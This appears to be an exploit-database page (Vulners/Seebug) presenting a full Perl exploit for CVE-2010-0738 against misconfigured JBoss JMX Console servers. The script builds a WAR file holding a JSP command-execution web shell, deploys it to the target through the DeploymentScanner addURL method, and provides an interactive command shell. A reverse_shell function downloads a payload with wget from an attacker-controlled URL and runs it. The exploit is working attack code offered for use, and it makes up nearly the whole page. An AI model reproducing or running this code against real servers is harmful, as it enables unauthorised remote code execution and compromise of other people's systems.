Lucene search
K

JBoss, JMX Console, misconfigured DeploymentScanner

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 186 Views

Exploit JBoss misconfigured DeploymentScanner via JMX Consol

Related
Code

                                                #!/usr/bin/perl
# Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner
# Date: Oct 3 2011
# Author: y0ug <at> codsec.com
# Version: 
# Tested on: Linux
# CVE : CVE-2010-0738
#
# POC against misconfigured JBoss JMX Console
# It use the addUrl method in DeploymentScanner module
#
# More information
# http://packetstormsecurity.org/files/download/105479/JBossWhitepaper.pdf
# http://poc-hack.blogspot.com/2011/02/how-to-hack-any-version-of-jboss.html
#
# You need to edit
#    $url_cmd to match the war payload url
#    $url_shell is your reverse shell url 
#         ( only if you want to use reverse_shell("ip", "port") )
#
# The JSP shell is not mine is available every where
# I add a -b param that build the war contener to do this you need java
#
# Is a fast POC coded this morning for fun so maybe it don't cover all case/version
#
# Usage:
#  Build the war contener (need java)
#   ./jboss -b
#  Hack
#   ./jboss http://www.vuln.com:8080

use strict;

use LWP::UserAgent;
use HTTP::Request::Common qw(POST);
use HTTP::Request::Common qw(GET);
use IO::Socket::SSL;
use Cwd;

# configuration section
my $url_cmd = "http://127.0.0.1/cmd.war";
my $url_shell = "http://127.0.0.1/reverse.pl";
my $debug = 0; # 1 to switch to debug
my $useragent = "'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.2.12) ".      
    "Gecko/20101026 Firefox/3.6.12 ( .NET CLR 3.5.30729)'";

# Don't edit from here
my $installed = 0;
my $url;

my $ua = LWP::UserAgent->new;

$SIG{INT} = "sigtrap";

sub debug {
    if( $debug ){
        print STDERR "debug: ", @_, "\n";
    }
}

sub check_url {
    my $request = GET "$url/jmx-console/";
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    return 0;
}

sub sigtrap {
    if ( $installed ){
        print " [*] Clean of $url in progress...\n";
        clean_war();
    }
    exit 1;
}

sub find_method_index {
    my $method = shift(@_);

    my $request = GET "$url/jmx-console/HtmlAdaptor?" . 
    "action=inspectMBean&name=jboss.deployment" .
    "%3Aflavor%3DURL%2Ctype%3DDeploymentScanner";
   
    
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    # Match a certain jboss version
    while ( $page =~ m{<form method="post" action="HtmlAdaptor">(.*?)</form>}sg ){
        my $form = $1;
        if ( $form =~ /$method/ ){
            if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)">/ ){
                debug("method $method at index $1");
                return $1;
            }
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<td class='param'>$method</td>(.*?)</tr>}sg ){
        my $form = $1;
        if ( $form =~ /<input type='hidden' name='methodIndex' value='(\d+)'\/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }
    
    # Match another jboss version
    while ( $page =~ m{<span class='aname'>$method</span>(.*?)<table>}sg ){
        my $form = $1;
        if ( $form =~ /<input type="hidden" name="methodIndex" value="(\d+)" \/>/ ){
            debug("method $method at index $1");
            return $1;
        }
    }    
    return -1;
}

sub is_installed_war {
    my $method_index = find_method_index("hasURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for hasURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;

    if ( $page =~ m{<pre>(.*?)</pre>}s ){
        my $ret = $1;
        if ( $ret =~ /true/ ){
            return 1;
        }else{
            return 0;
        }
    }else{
        print STDERR "error: occured during is_installed_war regex!\n";
        return -2;
    }
}

sub install_war {
    if (is_installed_war == 1){
        print " [*] Install canceled, already installed\n";
        return 1;
    }
    my $method_index = find_method_index("addURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for addURL\n"; return -1; }
    
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{</table>(.*?)</body>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }else{
        print STDERR "error: occured during install_war regex!\n";
        return -1;
    }
}

sub clean_war {
    while(is_installed_war == 1){
        if ( uninstall_war() < 0 ){
            return -1;
        }
    }
    print " [*] Clean complete\n";
    return 0;
}

sub uninstall_war {
    my $method_index = find_method_index("removeURL");
    if ( $method_index < 0 ) { print "Can't find methodIndex for removeURL\n"; return -1; }
    my $request = POST "$url/jmx-console/HtmlAdaptor", { action => 'invokeOp', 
        name => 'jboss.deployment:type=DeploymentScanner,flavor=URL',
        methodIndex => "$method_index", arg0 => $url_cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        print STDERR $response->status_line, "\n";
        return -1;
    }
    my $page = $response->decoded_content;
    
    if ( $page =~ m{<span class='OpResult'>(.*?)</span>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{<pre>(.*?)</pre>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }elsif ( $page =~ m{</table>(.*?)</body>}s ){
        print " [*] ", trim($1), "\n";
        return 0;
    }else{
        print STDERR "error: occured during uninstall_war regex!\n";
        return -1;
    }
}

sub execute {
    my $cmd = shift(@_);
    print '$ ' . $cmd . "\n";
    
    my $request = POST "$url/cmd/cmd.jsp", { cmd => $cmd};
    my $response = $ua->request($request);
    if (!$response->is_success) {
        if ( $response->code == 404 ){
            print STDERR "Command war contener is not installed!\n";
        }else{
            print STDERR $response->status_line, "\n";
        }
        return -1;
    }
    my $page = $response->decoded_content;
    
    my $content = $page;

    if ( $content =~ m{<BR>(.*)</pre>}s ){
        print trim($1) . "\n";
        return 0;
    }else{
        print STDERR "error: occured during exec regex!\n";
        return -1;
    }
}

sub reverse_shell {
    my ($ip, $port) = @_;
    print " [*] reverse shell to $ip $port\n";
    my $cmd = "wget -O /tmp/a $url_shell";
    if ( execute($cmd) < 0 ){
        return -1;
    }
    if ( execute("chmod +x /tmp/a") < 0 ){
        return -1;
    }
    return execute("/tmp/a $ip $port");
}

sub trim($){
	my $string = shift;
	$string =~ s/^\s+//;
	$string =~ s/\s+$//;
	return $string;
}

sub setup {
    print " [*] Check url $url...\n";
    if ( check_url() < 0 ){
        print "Url $url not available!\n";
        return -1;
    }
    
    print " [*] Try to install command war contener...\n";
    return install_war;
}

sub check_cmd {
    my $t = 5;
    for( my $i = 1; $i <= $t ; ++$i ){
        my $request = GET "$url/cmd/cmd.jsp";
        my $response = $ua->request($request);
        if (!$response->is_success) {
            if ( $response->code != 404 ){
                print STDERR $response->status_line, "\n";
                return 0;
            }
            print(" [*] check_cmd $i/$t failed\n");
        }else{
            print(" [*] check_cmd $i/$t ok, gogogo!\n");
            return 1;
        }
        if ( $i < $t-1) {sleep(15); }
   }
   return 0;
}

sub help {
    print "Help\n";
    print " - Is a perl shell so you can call perl function\n";
    print " > execute(\"id\") # execute the commande\n";
    print " > reverse_shell(\"8.8.8.8\", \"1912\") # download your reverse shell and execute it\n";
    print " > clean # remove the war contener from the server\n";
    print " > check_cmd # loop until command available\n";
    print " > install_war # install the war contener from url\n";
    print " > exit # clean and quit\n";
    print " > exitd # exit without cleaning\n";
}

sub build_war {
    my $jsp_file = "cmd.jsp";
    open( my $jsp_output, '>', $jsp_file ) or 
        die("Can't open $jsp_file : $!");

    print $jsp_output <<EOF;
<%@ page import="java.util.*,java.io.*"%>
<%
%>
<HTML><BODY>
Commands with JSP
<FORM METHOD="GET" NAME="myform" ACTION="">
<INPUT TYPE="text" NAME="cmd">
<INPUT TYPE="submit" VALUE="Send">
</FORM>
<pre>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
</pre>
</BODY></HTML>
EOF

    close($jsp_output);

    mkdir "WEB-INF";
    my $xml_file = "WEB-INF/web.xml";
    open( my $xml_output, '>', $xml_file ) or 
        die("Can't open $xml_file : $!");
    print $xml_output <<EOF;
<?xml version="1.0" ?>
<web-app xmlns="http://java.sun.com/xml/ns/j2ee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://java.sun.com/xml/ns/j2ee
http://java.sun.com/xml/ns/j2ee/web-app_2_4.xsd"
version="2.4">
<servlet>
<servlet-name>Command</servlet-name>
<jsp-file>/cmd.jsp</jsp-file>
</servlet>
</web-app>
EOF
    close($xml_output);

    system("jar cvf cmd.war WEB-INF/ $jsp_file");
    unlink($xml_file);
    unlink($jsp_file);
    rmdir("WEB-INF");
    
    print " [*] War contener is here ", getcwd, "/cmd.war\n";
    print " [*] Upload it to your server and update script url\n";
}

sub shell {
    do {
        print("> ");
        chop($_ = <STDIN>);
        if ( $_ eq "help" ) { help(); }
        if ( $_ eq "exitd" ) { exit 0; }
        elsif ( $_ ne "exit" ){  eval($_); }
        warn() if $@;
    } while ($_ ne "exit");
}

if($#ARGV+1 != 1){
    print " [*] Exploit Title: JBoss, JMX Console, misconfigured DeploymentScanner\n";
    print " [*] Date: Oct 3 2011\n";
    print " [*] Author: y0ug <at> codsec.com\n";
    print " [*] Version: 0.1\n";
    print " [*] JSP shell url $url_cmd\n\n";
    print " [*] Usage:\n";
    print "  Build the war contener (need java)\n";
    print " $0 -b\n";
    print "  Hack\n";
    print " $0 http://www.vuln.com:8080\n\n";
    
    
    exit 1;
}

if($ARGV[0] eq "-b"){
    build_war;
    exit 0;
}

$url = $ARGV[0];

$ua->agent($useragent);

print " [*] JSP shell url $url_cmd\n";

if ( setup() < 0 ){
    print " [*] Setup failed!\n";
    exit 1;
}
$installed = 1;
print " [*] Wait few minutes, times to JBoss to load the url\n";
print " [*] You can find the shell here too\n";
print " [*] $url/cmd/cmd.jsp\n";

if ( check_cmd() <= 0 ){
    print " [*] ## Exploit certainly failed! ##\n";
    print " [*] You can wait a little longer (run > check_cmd)\n";
}else{
    print " [*] Congrats, is up!\n";
    execute("id");
}

shell();

print " [*] Clean of $url in progress...\n";
clean_war();

exit(0);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jul 2014 00:00Current
0.2Low risk
Vulners AI Score0.2
EPSS0.92431
186